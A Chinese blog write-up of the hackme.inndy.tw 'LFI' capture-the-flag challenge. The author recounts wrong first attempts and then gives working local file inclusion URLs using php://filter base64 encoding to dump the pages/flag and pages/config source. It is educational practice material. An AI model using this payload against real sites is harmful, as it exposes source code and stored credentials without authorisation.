zoukankan      html  css  js  c++  java
  • hackme_LFI

    //阅前须知:博主是小渣渣,本文仅为记录做题中学到的心智、反思自己的问题,行文不免啰嗦和有错,如果介意,请读者移步大佬们的博客

    根据TIPs,可以知道,是利用文件包含漏洞,

    显然payload:php://filter/resource=hint.php/read=convert.base64-encode(事实证明我错了、、)

    问题是把payload提交到哪里去呢?

    一开始的错误想法:

    作者说到了“What's admin' password”,所以我想直接https://hackme.inndy.tw/lfi/?page=pages/login?password=php://filter/resource=hint.php/read=convert.base64-encode

    然鹅错了、、

    后来通过阅读源码,忽然发现自己误解了URL的格式

    https://hackme.inndy.tw/lfi/?page=pages/login

    我居然把?page=pages当成一个文件夹、、、太愚蠢了,

    其实是pages/login(注意:不带.php!)作为一个整体,指明了文件目录,整体传给page

    出现问题的原因:没有弄懂php://filter内部具体机理、、

    https://www.leavesongs.com/PENETRATION/php-filter-magic.html

    这篇文章详细说到了php://filter协议

    然后如此构造payload:

    https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag

    得到:

    Q2FuIHlvdSByZWFkIHRoZSBmbGFnPD9waHAgcmVxdWlyZSgnY29uZmlnLnBocCcpOyA/Pj8K

    然后base64解码:

    Can you read the flag<?php require('config.php'); ?>?

    同理构造payload:https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config

    得到一串字符串接着base64解码就得到flag了

  • 相关阅读:
    golang书签
    linux每日知识整理
    leetcode动态规划笔记五---双序列型
    leetcode动态规划笔记三---单序列型
    leetcode动态规划笔记二---矩阵型DP
    leetcode动态规划笔记一---一维DP
    linux系统IO操作
    golang知识精要(二)
    ubuntu修改键盘键位映射
    Python 使用 cx_Oracle 第三方库连接操作Oracle数据库
  • 原文地址:https://www.cnblogs.com/huangming-zzz/p/9754040.html
Copyright © 2011-2022 走看看